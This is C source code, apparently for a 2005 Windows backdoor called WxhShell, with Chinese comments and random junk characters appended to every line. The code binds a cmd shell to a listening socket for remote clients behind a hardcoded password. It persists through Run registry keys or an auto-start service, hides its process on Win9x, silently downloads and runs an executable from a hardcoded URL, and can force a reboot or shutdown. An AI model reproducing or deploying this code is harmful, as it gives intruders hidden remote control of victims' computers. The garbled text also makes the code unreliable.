    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R8Lp8!F'  
    if(Boot(SHUTDOWN)) v%/_*69a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &B#HgWud  
    else { '\l(.N  
    closesocket(wsh); r3hj GcpaX  
    ExitThread(0); aT(Pf7 O  
    } <y6M@(b  
    break; qUx!-DMY  
    } 8~EDmg[  
  // 获取shell joAR;J  
  case 's': { {08UBnR  
    CmdShell(wsh); fa/ '4  
    closesocket(wsh); Q)C#)|S  
    ExitThread(0); "Hg.pDNZ  
    break; 5ts8o&|   
  } {]] nQ  
  // 退出 ^] Lr_k  
  case 'x': { ^;c!)0Q<Z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); . CLiv  
    CloseIt(wsh); 6fY(u7m|p  
    break; j?+FS`a!  
    } \5k[ "8~  
  // 离开 :!N 5daK  
  case 'q': { ,78 QLh9:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); g/mVd;#o  
    closesocket(wsh); 37a"<  
    WSACleanup(); {w(6Tc  
    exit(1); CP|N2rb  
    break; _w Cp.[3?t  
        } ><TuL7+  
  } W.-[ceM  
  } (pH13qU5  
be$wG O=Ts  
  // 提示信息 X{9D fgW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %TPnC'2  
} TRcY!  
  } @mNf(&  
:v* _Ay  
  return; VZ}^1e  
} 'vhgR2/  
l-XiQ#-{  
// shell模块句柄 xQ* U9Wt;T  
int CmdShell(SOCKET sock) Ii,e=RG>  
{ ch 4z{7   
STARTUPINFO si; -F/"W  
ZeroMemory(&si,sizeof(si)); 6sRn_y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q SW03/_f  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ii?<Lz  
PROCESS_INFORMATION ProcessInfo; $iEM$  
char cmdline[]="cmd"; 8,a&i:C  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S3MMyS8  
  return 0; PnFU{N  
} ]V6<h Psi  
zob^z@2  
// 自身启动模式 O9r3^y\>I  
int StartFromService(void) 9FP6Z[4  
{ T6Z2 #  
typedef struct NC>rZS]  
{ e/6WhFN #  
  DWORD ExitStatus; ipQJn_:2  
  DWORD PebBaseAddress; .LIEZ^@  
  DWORD AffinityMask; k*J}/HO  
  DWORD BasePriority; ]N*q3y|)  
  ULONG UniqueProcessId; Z WL/AC  
  ULONG InheritedFromUniqueProcessId; 54JZEc  
}   PROCESS_BASIC_INFORMATION; G':mc{{  
!?D PI)  
PROCNTQSIP NtQueryInformationProcess; Tt `|26/  
2_x}wB0P  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |[>`3p"&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; pT>[w1Kk^  
e-ljwCD  
  HANDLE             hProcess; ecA:y!N  
  PROCESS_BASIC_INFORMATION pbi; jJQ6]ucwa  
jF<Y,(C\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Dq)V] Zx  
  if(NULL == hInst ) return 0; [D[s^<RJs  
MG*#-<OV.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #|v\UJ:Pf/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [uT& sZxmg  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yH;=Y1([  
W#P)v{K  
  if (!NtQueryInformationProcess) return 0; Uq<c+4)5  
D?44:'x+-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vDV` !JU  
  if(!hProcess) return 0; W2O =dG`  
H1yl88K  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5n"b$hMF  
[c +[t3dz  
  CloseHandle(hProcess); Y/2@PzA|  
"o*(i7T=n  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7"yA~e,l  
if(hProcess==NULL) return 0; b6RuYwHWV0  
F-R4S^eV  
HMODULE hMod; = 7d{lK  
char procName[255]; ( MWh|kp  
unsigned long cbNeeded; R+Dx#Wn I  
/csj(8^w  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -%E+Yl{v  
&#;vR 0O  
  CloseHandle(hProcess); |a%&7-;   
ry\Nm[SQ  
if(strstr(procName,"services")) return 1; // 以服务启动 8~YhT]R=  
gXZC%S  
  return 0; // 注册表启动 sWX iY  
} i^eU!^KF  
_<yGen-  
// 主模块 mHrt)0\_  
int StartWxhshell(LPSTR lpCmdLine) *v 1hMk  
{ NYA,  
  SOCKET wsl; ^ #B`GV  
BOOL val=TRUE; /oKa?iT  
  int port=0; K'kWL[Ut!  
  struct sockaddr_in door; 8iaP(*J  
Cp`)*P2  
  if(wscfg.ws_autoins) Install(); cK%Sty'8+  
)D\!#<#h  
port=atoi(lpCmdLine); :*u .=^  
M>nplHq   
if(port<=0) port=wscfg.ws_port; 15U]/?jv8  
ShbW[*5  
  WSADATA data; s_S[iW`l=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; uDvZ]Q|.  
-L%tiz`_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   mlW0ptp  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .xo#rt9_"=  
  door.sin_family = AF_INET; -7,xjn  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @xIKYJyU  
  door.sin_port = htons(port); L9ECF;)  
}c|)i,bL  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]awu7}C9Z  
closesocket(wsl); .`*h2  
return 1; mX66}s}#  
} ~3bH2,{L[  
MWTzJGRT  
  if(listen(wsl,2) == INVALID_SOCKET) { 1(t{)Z<  
closesocket(wsl); vncLB&@7  
return 1; V_+XZ+7Lx}  
} {ZQ|Ydpk  
  Wxhshell(wsl); Hj\>&vMf  
  WSACleanup(); t M?3oO  
:'p+Ql~c  
return 0; F7[ 55RcP  
F|9:$Jpw!  
} v d A 3  
12r]"?@|s  
// 以NT服务方式启动 K;j}qJvsb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <4UF/G)  
{ zv/owK  
DWORD   status = 0; 6WUP#c@{  
  DWORD   specificError = 0xfffffff; bit@Kv1<C  
[C_Dv-d  
  serviceStatus.dwServiceType     = SERVICE_WIN32; t$+[(}@ +  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; QE8;Jk-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %*J'!PC9n  
  serviceStatus.dwWin32ExitCode     = 0; /A$mP)}tz  
  serviceStatus.dwServiceSpecificExitCode = 0; ^}Vx5[  
  serviceStatus.dwCheckPoint       = 0; 3>O=d>  
  serviceStatus.dwWaitHint       = 0; vhsHyb  
cvSr><(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @px 4[  
  if (hServiceStatusHandle==0) return; o m9zb&{tu  
2x3%*r$  
status = GetLastError(); Z'/sZ3Q}  
  if (status!=NO_ERROR) !.\-l2f  
{ #>)OLKP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; LYM(eK5V  
    serviceStatus.dwCheckPoint       = 0; xn1=@0 a  
    serviceStatus.dwWaitHint       = 0; {Ee[rAVGp  
    serviceStatus.dwWin32ExitCode     = status; /D@(o`a  
    serviceStatus.dwServiceSpecificExitCode = specificError; M$L ; -T  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); f\c m84  
    return; 2o5Pbdel  
  } L`"B;a&  
d4(!9O.\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -%I 0Q  
  serviceStatus.dwCheckPoint       = 0; #0*OkZMt  
  serviceStatus.dwWaitHint       = 0; znVao %b  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @x u/&pbI  
} JIJ79HB  
)2lzPK t  
// 处理NT服务事件,比如:启动、停止 Y\cQ "9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Gh.@l\|tf  
{ ~:Pu Kx  
switch(fdwControl) y&F0IJ|`@M  
{ B`I9  
case SERVICE_CONTROL_STOP: @)hrj2Jw  
  serviceStatus.dwWin32ExitCode = 0; 2p6`@8*34  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >n!,KUu]  
  serviceStatus.dwCheckPoint   = 0; +0&SXhy%y  
  serviceStatus.dwWaitHint     = 0; J|Af`HJ  
  { yKy07<Gr>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %BV 2 q  
  } >wPMJ> 2  
  return; ~4MUac^w  
case SERVICE_CONTROL_PAUSE: N7}Y\1-8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "~-Y 'O  
  break; \@%sX24D  
case SERVICE_CONTROL_CONTINUE: /d/Quro  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,sn/FT^; q  
  break; B^{87YR  
case SERVICE_CONTROL_INTERROGATE: M?yWFqFt9m  
  break; W5#5RK"uX  
}; d7O\p(M1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F| ib=_)3  
} _mi(:s(  
$hCPmiI  
// 标准应用程序主函数 ab5uZ0@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pN]$|#%q(  
{ slV7,4S&!  
{1jywb }  
// 获取操作系统版本 o{QU?H5h  
OsIsNt=GetOsVer(); KR4vcI[4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9F*],#ng  
8N58w)%7`  
  // 从命令行安装 :zL.dJwa  
  if(strpbrk(lpCmdLine,"iI")) Install(); Gkfc@[Z V  
Nvef+L,v  
  // 下载执行文件 l}Fa-9_'  
if(wscfg.ws_downexe) { ]0g%)fuMf  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I{V1Le4?  
  WinExec(wscfg.ws_filenam,SW_HIDE); *C0gpEf9S  
} YflotlT}  
GA8cA)]zOD  
if(!OsIsNt) { <;?&<qMo,P  
// 如果时win9x,隐藏进程并且设置为注册表启动 Xc^7  
HideProc(); =XT'D@q~W  
StartWxhshell(lpCmdLine); o`@B*, @  
} o4Bl!7U  
else gUrb&#\X  
  if(StartFromService()) 7%(|)3"V  
  // 以服务方式启动 ]:Q7Gys  
  StartServiceCtrlDispatcher(DispatchTable); .)wj{(>TJ  
else &M,"%w!  
  // 普通方式启动 SwDUg}M~  
  StartWxhshell(lpCmdLine); >VAZ^kgi  
9t$%Tc#Z  
return 0; , yC-QFQE  
} ]/d4o  
jZ'y_  
E"[^^<I  
_n3Jf<Y  
=========================================== N1V qK  
F C= %_y  
aE_)iE|  
WAj26";M(  
@'EP$!c  
J-W, ^%  
" (VPT% l6  
)-3!-1  
#include <stdio.h> @UO=)PxN3  
#include <string.h> }G8RJxy  
#include <windows.h> tk^1Ga3  
#include <winsock2.h> ))n7.pB9/  
#include <winsvc.h> D&WXa|EOK  
#include <urlmon.h> y\ nR0m  
]`D(/l'  
#pragma comment (lib, "Ws2_32.lib") n7vLw7  
#pragma comment (lib, "urlmon.lib") X;5U@l  
(u]ajT  
#define MAX_USER   100 // 最大客户端连接数 y*M,&,$  
#define BUF_SOCK   200 // sock buffer ;+-$=l3[a  
#define KEY_BUFF   255 // 输入 buffer }*n(RnCn  
-=E/_c;  
#define REBOOT     0   // 重启 }lgqRg)F9[  
#define SHUTDOWN   1   // 关机 o8P 5C4y  
ou44vKzS  
#define DEF_PORT   5000 // 监听端口 kWfNgu$xK  
%*.;3;m  
#define REG_LEN     16   // 注册表键长度 V*l0| ,9  
#define SVC_LEN     80   // NT服务名长度 S,5>g07-`  
iSxxy1R  
// 从dll定义API 1K'0ajl1A  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); DA oOs}D  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); fB5Bh;K  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D PnKr/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); JF*JF Ob  
laM0W5  
// wxhshell配置信息 k=[!{I  
struct WSCFG { jlER_I]  
  int ws_port;         // 监听端口 nzDS  
  char ws_passstr[REG_LEN]; // 口令 66=6;77  
  int ws_autoins;       // 安装标记, 1=yes 0=no b?oT|@  
  char ws_regname[REG_LEN]; // 注册表键名 wLD/#Hfi7  
  char ws_svcname[REG_LEN]; // 服务名 ~?vm97l  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 v&(X& q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [pbX_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  Iz2K  
int ws_downexe;       // 下载执行标记, 1=yes 0=no tc@U_>{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" zQ {g~x  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 L6j 5pI  
IxCEE5+`%  
}; v,RLN`CID  
Ms(;B*  
// default Wxhshell configuration N_L&!%s  
struct WSCFG wscfg={DEF_PORT, o lNL|WJ`w  
    "xuhuanlingzhe", .jr1<LE  
    1, G=3/PYp  
    "Wxhshell", 76)(G/  
    "Wxhshell", .c"UlOZ&w^  
            "WxhShell Service", N|Ua|^  
    "Wrsky Windows CmdShell Service", m7kDxs(KO  
    "Please Input Your Password: ", z$-/yT"M  
  1, #'<I!G  
  "http://www.wrsky.com/wxhshell.exe", hzPx8sO  
  "Wxhshell.exe" ckt^D/c2  
    }; _OcgD<  
!j4C:L3F  
// 消息定义模块 ;FZ\PxN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c0<Y017sG  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $t 1]w]}d  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]Vl5v5_  
char *msg_ws_ext="\n\rExit."; *^c4q|G.-  
char *msg_ws_end="\n\rQuit."; j1YE_U  
char *msg_ws_boot="\n\rReboot..."; q) /;|h  
char *msg_ws_poff="\n\rShutdown..."; {L$b$u$7:  
char *msg_ws_down="\n\rSave to "; wXZ.D}d  
GQ|kcY=  
char *msg_ws_err="\n\rErr!"; :M|c,SQK  
char *msg_ws_ok="\n\rOK!"; 8t}=?:B+{  
R_vZh|  
char ExeFile[MAX_PATH]; FPMhHHM  
int nUser = 0;  R76'1o  
HANDLE handles[MAX_USER]; l(=#c/f  
int OsIsNt; q9WdJ!-^X  
ADv a@P  
SERVICE_STATUS       serviceStatus; M|d[iaM,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; v_c'npC  
Z mi<Z  
// 函数声明 (:+IS W  
int Install(void); |,dMF2ADc  
int Uninstall(void); a4`@z:l  
int DownloadFile(char *sURL, SOCKET wsh); }~QB2&3  
int Boot(int flag); .2xypL8(  
void HideProc(void); V]k!]  
int GetOsVer(void); tO[+O=d  
int Wxhshell(SOCKET wsl); ).oqlA!  
void TalkWithClient(void *cs); x0lX6 |D  
int CmdShell(SOCKET sock); U%k e 5uwP  
int StartFromService(void); yH#;k:O=  
int StartWxhshell(LPSTR lpCmdLine); crgYr$@s?  
@z/]!n\~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {tR=D_5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^Y'J0v2  
_"0n.JQg  
// 数据结构和表定义 MqoQs{x  
SERVICE_TABLE_ENTRY DispatchTable[] = w,}}mC)\*  
{ >D:S)"  
{wscfg.ws_svcname, NTServiceMain}, &2xYG{Z  
{NULL, NULL} cWRB=`=qz  
}; >P0AGZ  
TdQ^^{SRp  
// 自我安装 -S,dG|  
int Install(void) lC_zSmT  
{ mu{%%b7|^  
  char svExeFile[MAX_PATH]; ,s)~Y p?<  
  HKEY key;  V'mpl  
  strcpy(svExeFile,ExeFile); !zJ.rYZ=g`  
Tl%4L % bE  
// 如果是win9x系统,修改注册表设为自启动 zi-+@9T  
if(!OsIsNt) { cF(9[8c{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A\# ? rK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8dA/dMQ  
  RegCloseKey(key); @tj0Ir v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]#:xl}'LS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xrX("ili  
  RegCloseKey(key); (QRl -| +  
  return 0; .ERO*Tj  
    } = oh6;Ojt  
  } $`=?Nb@@#  
} -+PPz?0  
else { ,@!d%rL:4]  
I9Sh~vTm=u  
// 如果是NT以上系统,安装为系统服务 {VNeh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KdR&OBm  
if (schSCManager!=0) #TSM#Uqe  
{ yv:NH|,/y  
  SC_HANDLE schService = CreateService /N^+a-.Qd  
  ( Bhs`Y/Ls-  
  schSCManager, .N'UnKz  
  wscfg.ws_svcname, fZ376Z:S$  
  wscfg.ws_svcdisp, +nZG!nP  
  SERVICE_ALL_ACCESS, R|M:6]}   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4dok/ +Ec  
  SERVICE_AUTO_START, mY AFruN  
  SERVICE_ERROR_NORMAL, *FE<'+%  
  svExeFile, <n:?WP~U  
  NULL, }GC{~ SZ4  
  NULL, jF5JpyOc  
  NULL, .Lp-'!i  
  NULL, 'H9~rq7  
  NULL <qy+@t  
  ); Rd$<R  
  if (schService!=0) X@G`AD'.M  
  { jFc{$#g-  
  CloseServiceHandle(schService); [< `+9R  
  CloseServiceHandle(schSCManager); 37[C^R!1c  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ' FK"-)s  
  strcat(svExeFile,wscfg.ws_svcname); i~9)Hz;!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Tc*PDt0C  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2X]\:<[4  
  RegCloseKey(key); p4Y 9$(X  
  return 0; z[rB/ |2  
    } BY d3rI  
  } 19vD(KC<  
  CloseServiceHandle(schSCManager); P}I*SV0  
} =ht@7z8QM  
} ?c+;  
w&gHmi  
return 1; KJ~pY<a?  
} F)IP~BE-k  
y*D 8XI$  
// 自我卸载 re!CF8 q  
int Uninstall(void) O(d'8`8  
{ tc',c},h~,  
  HKEY key; O`=Uq0Vv  
vKt_z@{{L  
if(!OsIsNt) { x9e 9$ww}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HHYcFoJwYN  
  RegDeleteValue(key,wscfg.ws_regname); Pla EI p  
  RegCloseKey(key); >xjy P!bca  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l rzW H0Q  
  RegDeleteValue(key,wscfg.ws_regname); !jbjrzv9  
  RegCloseKey(key); >gE_?%a[  
  return 0; ]VME`]t`  
  } m+=!Z|K  
} . <B1i  
} e'Pa@]VaC  
else { Xy{+=UY  
j$^]WRt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); W#[!8d35$  
if (schSCManager!=0) y)}aySQK^  
{ 9PAp*`J@kr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); UQ)}i7v  
  if (schService!=0) #O WSy'Qnt  
  { nM`)`!/  
  if(DeleteService(schService)!=0) { Q  [{vU  
  CloseServiceHandle(schService); K?4(ou  
  CloseServiceHandle(schSCManager); %8Z,t+'  
  return 0; v`&Z.9!Tz^  
  } FScQS.qF  
  CloseServiceHandle(schService); 1N+#(<x@,  
  } KB = z{g  
  CloseServiceHandle(schSCManager); q*O KA5  
} DtZm|~)a  
} [P/gM3*'  
F?=u:  
return 1; (=j!P*  
} w%;'uN_  
>gl.(b25C  
// 从指定url下载文件 (4LLTf0  
int DownloadFile(char *sURL, SOCKET wsh) oK6lCGM5  
{ F0Hbklr  
  HRESULT hr; ~|rkt`8p  
char seps[]= "/"; ~<aB-. d  
char *token; nQ\k{%Q  
char *file; }H=OVbQor  
char myURL[MAX_PATH]; <Xx\F56zp  
char myFILE[MAX_PATH]; \0h/~3  
919g5f`  
strcpy(myURL,sURL); `qTY  
  token=strtok(myURL,seps); d]E vC>  
  while(token!=NULL) ~-d.3A $u  
  { J|-HZ-Wk|J  
    file=token; 7VcVI? ?  
  token=strtok(NULL,seps); +pvJ?"J  
  } @3YuV=QfH  
fP58$pwu  
GetCurrentDirectory(MAX_PATH,myFILE); {M/c!  
strcat(myFILE, "\\"); .h,xBT`}Ji  
strcat(myFILE, file); Wi^rnr'S s  
  send(wsh,myFILE,strlen(myFILE),0); SWpUVZyd  
send(wsh,"...",3,0); <q\) o_tH  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); dH|^\IQ  
  if(hr==S_OK) p;$9W+H0  
return 0; tY=%@v'6?  
else v\,%)Z/  
return 1; AF]!wUKxy  
P*`xiTA  
} YS~t d+*  
)H)Udhz  
// 系统电源模块 (JW?azU  
int Boot(int flag) A@(h!Cq  
{ S7{.liHf  
  HANDLE hToken; ; ,jLtl  
  TOKEN_PRIVILEGES tkp; b6&NzUt34V  
mndl~/  
  if(OsIsNt) { :)95 b fa.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;bZ*6-\!-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }Y`<(V5:  
    tkp.PrivilegeCount = 1; }Xj_Y]T  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; '-33iG  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); JZ/O0PW  
if(flag==REBOOT) { ^alZ\!B8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^!o}>ls['  
  return 0; 8zDH<Gb  
} I0+wczW,^  
else { P lH`(n#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y[6&46r7D  
  return 0; ++DQS9b{  
} yr2L  
  } lc7a@qnw   
  else { +'KE T,  
if(flag==REBOOT) { !]+Z%ed`%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) e~.?:7t  
  return 0; Q4Fq=kTE  
}  ;c Co+(  
else { V< ApHb  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) OP`Jc$| 6  
  return 0; s%[GQQ-N  
} $?J+dB  
} )S};k=kG  
fTV|? :C{  
return 1; 5b1uD>,;y  
} }BdVD t  
)|y2Q  
// win9x进程隐藏模块 2 ?- 07g  
void HideProc(void) uO@3vY',n  
{ IAF;mv}'  
``|RO[+2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ldhk^/+  
  if ( hKernel != NULL ) 30 [#%_* o  
  { @D~+D@i$TW  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); h@;)dLo0z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;=+Zw1/g  
    FreeLibrary(hKernel); (s$u_aq 77  
  } 0w(T^G hZ  
qJ+52U|z  
return; -9>LvLU  
} r}0C8(oq  
.6ngo0<g   
// 获取操作系统版本 !3I(4?G,  
int GetOsVer(void) VP %i1|XZJ  
{ /ggkb8<3  
  OSVERSIONINFO winfo; mw(c[.*%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); uR:=V9O  
  GetVersionEx(&winfo); $HBT%g@UN  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qfG tUkSSb  
  return 1; O5qW*r'  
  else @>G&7r:U  
  return 0; 'ZC}9=_g  
} K6v $#{$6  
_jTwiuMS-  
// 客户端句柄模块 (7;J"2M  
int Wxhshell(SOCKET wsl) t1w2u.]  
{ (D>y6r> r  
  SOCKET wsh; +~ 3w5.8  
  struct sockaddr_in client; d]CviQUq  
  DWORD myID; dY/u<4  
VX;zZ`BJ  
  while(nUser<MAX_USER) m0|Ae@g~3  
{ n{64g+  
  int nSize=sizeof(client); #7]o6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Jh$"fr3  
  if(wsh==INVALID_SOCKET) return 1; Any Zi'  
to&N22a$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4|6&59?pnc  
if(handles[nUser]==0) "7kgez#Y  
  closesocket(wsh); my ;  
else 9fP) Fwih  
  nUser++; qRPc %"  
  } 8 "_Bq  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4ZI!,lv*  
\P l,' 1%  
  return 0; Kc%n(,+%"  
} =w ^TcV  
Z 7s;F}=  
// 关闭 socket X`yNR;>  
void CloseIt(SOCKET wsh) jCTy:q]  
{ G la@l<  
closesocket(wsh); Dac ^*k=D  
nUser--; {sC@N![  
ExitThread(0); / R_ u\?k(  
} [d4,gEx`Q\  
50LHF %  
// 客户端请求句柄 g7xbyB o7  
void TalkWithClient(void *cs) >`7OcjLg  
{ :be:-b%K  
(2z%U  
  SOCKET wsh=(SOCKET)cs;  VQ`,#`wV  
  char pwd[SVC_LEN]; >Hi h  
  char cmd[KEY_BUFF]; h?0F-6z  
char chr[1]; T3PX gL)o  
int i,j; v%lv8Lar'  
s$DGd T)  
  while (nUser < MAX_USER) { umQi  
L5Urg*GNL  
if(wscfg.ws_passstr) { S dIGU[fm  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,b4):{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hPa n  
  //ZeroMemory(pwd,KEY_BUFF); dh&W;zs  
      i=0; u_N\iCYp  
  while(i<SVC_LEN) { Bv^+d\*1  
Bul.RCP'  
  // 设置超时 6nh]*/  
  fd_set FdRead; }0QN[$H!  
  struct timeval TimeOut; q*L ]  
  FD_ZERO(&FdRead); {Q)dU-\  
  FD_SET(wsh,&FdRead); * [tc  
  TimeOut.tv_sec=8; ZB828T3  
  TimeOut.tv_usec=0; &yE1U#J(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1Gsw-a;a  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0$tjNy e  
9C_*3?6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u7HvdLql  
  pwd=chr[0]; %c]nWR+/  
  if(chr[0]==0xd || chr[0]==0xa) { %yp5DD}|  
  pwd=0; B &?fM~J  
  break; vYDSu.C@a  
  } e RA7i  
  i++;  "Y7+{  
    } -'6<   
ejVdxVr\7  
  // 如果是非法用户,关闭 socket 0<g<GQ(E  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); YG4WS |  
} %JQ~!3  
wa!zv^;N*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wX ,h< \7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )!e3.C|V1W  
 EZ<80G  
while(1) { ~\$=w10  
/}Yqf`CZy  
  ZeroMemory(cmd,KEY_BUFF); KbAR_T1n  
f')c/Yw  
      // 自动支持客户端 telnet标准   |zq4*  5  
  j=0; Sk\n;mL:  
  while(j<KEY_BUFF) { q +R*Hi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Edw2W8  
  cmd[j]=chr[0]; ' WQdr(  
  if(chr[0]==0xa || chr[0]==0xd) { :[xvlW29  
  cmd[j]=0; 87i"   
  break; /s:w^ g~  
  } qe$33f*  
  j++; `FZF2.N  
    } ~wOTjz  
+3;Ody"59  
  // 下载文件 EUy(T1Cl&&  
  if(strstr(cmd,"http://")) { /v|Onq1Y4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6\4Z\82  
  if(DownloadFile(cmd,wsh)) |O-`5_z$r  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .k@^KY  
  else llq*T"7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O$qtq(Q%  
